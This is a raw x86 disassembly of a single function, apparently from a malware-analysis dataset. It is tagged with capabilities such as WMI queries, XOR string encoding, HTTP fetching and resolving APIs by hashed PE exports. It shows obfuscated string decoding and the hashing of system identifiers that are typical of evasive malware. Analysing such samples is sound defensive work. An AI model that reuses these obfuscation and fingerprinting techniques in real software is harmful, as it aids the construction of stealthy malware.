Function at 0x434460
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44a3a0]
mov dword [esp + 0x18], 0xcf79c92d
mov dword [esp + 0x1c], 0xc355cd45
mov dword [esp + 0x20], 0xc763c154
mov dword [esp + 0x24], 0xbb7ec559
mov dword [esp + 0x28], 0xbf27b92e
mov dword [esp + 0x2c], 0xb317bd36
mov dword [esp + 0x30], 0xb7b6b155
xor ecx, ecx
xor edx, edx
movzx edi, byte [esp + edx + 0x18]
mov ebx, edx
and ebx, 0x12
mov esi, edx
or esi, 0x8dfd0cd
sub esi, ebx
add esi, ecx
xor esi, edi
mov edi, esi
not edi
and edi, 5
xor esi, 0xfa
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + edx + 0x18], bl
inc edx
dec ecx
cmp ecx, 0xffffffe4
jne 0x4344b0
lea ecx, [esp + 8]
lea esi, [esp + 0x78]
lea edi, [esp + 0x18]
push ecx
push 8
push esi
push 0xd
push edi
push 0
call eax
test eax, eax
jns 0x434508
mov dword [esp + 0x78], 0x3a0043
mov dword [esp + 0x7c], 0x5c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x58], 0
lea eax, [esp + 0x58]
push eax
push 0x440670
push 1
push 0
push 0x440680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x434ac8
mov dword [esp + 0x18], 0x49bb4ba2
mov dword [esp + 0x1c], 0x45aa47b9
mov dword [esp + 0x20], 0x41bf43a0
mov dword [esp + 0x24], 0x7d8d7fb7
mov dword [esp + 0x28], 0x79b47b96
mov word [esp + 0x2c], 0x7778
mov dword [esp + 0x2e], 0
mov word [esp + 0x32], 0
mov eax, 0x856d55e1
mov ecx, 0xadaabc2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x7a92aa37]
mov esi, ecx
and esi, 0x24a0f64
mov edi, eax
xor edi, 0x7127a7b2
add edi, esi
mov esi, edi
or esi, edx
not edx
or edi, edx
sub edx, edi
add edx, esi
add dl, 0x21
mov byte [esp + eax + 0x7a92aa37], dl
inc eax
add ecx, 2
cmp eax, 0x856d55fd
jne 0x4345b0
lea edi, [esp + 0x18]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x58]
mov ecx, dword [esi]
lea edx, [esp + 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
lea esi, [esp + 0x78]
js 0x434ab4
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x70]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x434aaa
mov dword [esp + 0x18], 0xc9a5cba5
mov dword [esp + 0x1c], 0xc5c6c7bc
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov eax, 0xb6ba5d53
mov ecx, 0x4945a2ac
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x4945a2c5]
mov esi, ecx
or esi, edx
not edx
or edx, eax
and edx, esi
mov esi, edx
xor esi, 0x5f
not edx
and edx, 0x5f
add edx, edx
sub edx, esi
inc dl
mov byte [esp + eax + 0x4945a2c5], dl
inc eax
dec ecx
cmp eax, 0xb6ba5d5e
jne 0x434670
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov dword [esp + 0x18], 0x4f8b49bf
mov dword [esp + 0x1c], 0x43874db0
mov dword [esp + 0x20], 0x47b24187
mov dword [esp + 0x24], 0x7ba44564
mov dword [esp + 0x28], 0x7f847958
mov dword [esp + 0x2c], 0x73817d8a
mov dword [esp + 0x30], 0x7756718d
mov dword [esp + 0x34], 0x6bf3759f
mov dword [esp + 0x38], 0x6fb969fa
mov dword [esp + 0x3c], 0x63816dba
mov dword [esp + 0x40], 0x679f61a6
mov dword [esp + 0x44], 0x1bed6597
mov word [esp + 0x48], 0x1918
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
mov eax, 0x4330312
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x43302fa]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0x25
add edx, edx
xor ecx, 0x5a
sub edx, ecx
mov byte [esp + eax - 0x43302fa], dl
inc eax
cmp eax, 0x433034a
jne 0x434730
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, dword [esp + 0x54]
mov ecx, dword [ebx]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
mov dword [esp + 0x80], esi
push esi
push ebx
call dword [ecx + 0x50]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x434a94
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea esi, [esp + 0x60]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434a8a
cmp eax, 1
je 0x434a8a
cmp dword [esp + 0x5c], 0
je 0x434a8a
lea esi, [esp + 0x88]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x18], 0xc367c173
mov dword [esp + 0x1c], 0xc76fc556
mov dword [esp + 0x20], 0xcb66c969
mov dword [esp + 0x24], 0xcf5bcd02
mov dword [esp + 0x28], 0xb310b11d
mov dword [esp + 0x2c], 0xb724b511
mov word [esp + 0x30], 0xb9b8
mov dword [esp + 0x32], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xb0
xor dl, byte [esp + ecx + 0x18]
add dl, 0x90
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 0x1e
jne 0x434820
mov ecx, dword [eax]
push 0
push 0
push esi
push 0
push edi
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434a79
cmp word [esp + 0x88], 8
jne 0x434a79
mov eax, dword [esp + 0x90]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x68], eax
je 0x4348b5
add eax, 2
xor esi, esi
jmp 0x43488c
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4348b7
cmp cx, 0x7f
jbe 0x434880
movzx edx, cx
cmp edx, 0x7ff
ja 0x4348aa
mov ecx, esi
and ecx, 2
xor esi, 2
lea esi, [esi + ecx*2]
jmp 0x434881
cmp cx, 0xffff
je 0x434881
add esi, 3
jmp 0x434881
xor esi, esi
mov dword [esp + 0x50], esi
lea eax, [esi + 1]
push eax
call fcn.00408420
add esp, 4
mov esi, eax
mov dword [esp + 4], eax
cmp dword [esp + 0x50], 0
mov eax, dword [esp + 0x68]
je 0x434a22
movzx ecx, word [eax]
mov esi, dword [esp + 4]
test cx, cx
je 0x434a22
mov edx, dword [esp + 0x50]
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, cx
lea edi, [eax + 2]
cmp bx, 0x7f
ja 0x434920
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x4349c0
cmp ebx, 0x7ff
ja 0x434945
cmp edx, 2
jb 0x434945
mov ecx, ebx
shr ecx, 6
or cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x4349c0
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x4349e1
cmp edx, 4
jb 0x4349e1
movzx edi, word [eax + 2]
add eax, 4
mov ecx, ebx
xor ecx, 0xd800
and ebx, 0x27ff
add ebx, ebx
sub ebx, ecx
shl ebx, 0xa
lea ecx, [ebx + edi]
add ecx, 0x2400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov ebx, ecx
lea ecx, [esi + 4]
mov byte [esi + 3], bl
mov edi, eax
nop
nop
nop
mov ebx, dword [ebp + 8]
add edx, esi
sub edx, ecx
mov eax, edi
mov esi, ecx
movzx ecx, word [eax]
test cx, cx
lea edi, [esp + 0x18]
je 0x434a22
test edx, edx
jne 0x434900
jmp 0x434a22
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x4349f3
mov eax, edi
mov ebx, dword [ebp + 8]
jmp 0x4349cb
cmp edx, 3
jb 0x434a1e
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 3]
mov byte [esi + 2], bl
jmp 0x4349c0
mov ecx, esi
jmp 0x4349c0
mov byte [esi], 0
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x50]
and ecx, 0xfffffffc
cmp ecx, 4
je 0x434a66
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
mov dword [esp + 0xc], eax
cmp ecx, 8
je 0x434a66
mov eax, dword [esp + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x10], eax
cmp ecx, 0xc
je 0x434a66
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x14], eax
push dword [esp + 4]
call fcn.00408430
add esp, 4
lea esi, [esp + 0x88]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x70]
call esi
push dword [esp + 0x6c]
call esi
lea esi, [esp + 0x78]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x18], 0
push 0x72a7c387
push dword [0x44a398]
call fcn.0043c760
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call eax
test eax, eax
je 0x434cae
mov eax, dword [esp + 0x18]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 8], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.0041b140
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434b40
test esi, esi
je 0x434b5e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004084a0
add esp, 0xc
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
mov eax, dword [esp + eax*4 + 8]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [ebx + 8]
mov dword [esp + 0xc], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041b140
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434bb0
test esi, esi
je 0x434bce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004084a0
add esp, 0xc
xor eax, eax
cmp dword [esp + 0x10], 0
setne al
mov eax, dword [esp + eax*4 + 0xc]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [ebx + 0x10]
mov dword [esp + 0x10], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041b140
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434c20
test esi, esi
je 0x434c3e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004084a0
add esp, 0xc
add ebx, 0x18
xor eax, eax
cmp dword [esp + 0x14], 0
setne al
mov eax, dword [esp + eax*4 + 0x10]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x14], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.0041b140
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434c90
test esi, esi
je 0x434cae
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004084a0
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret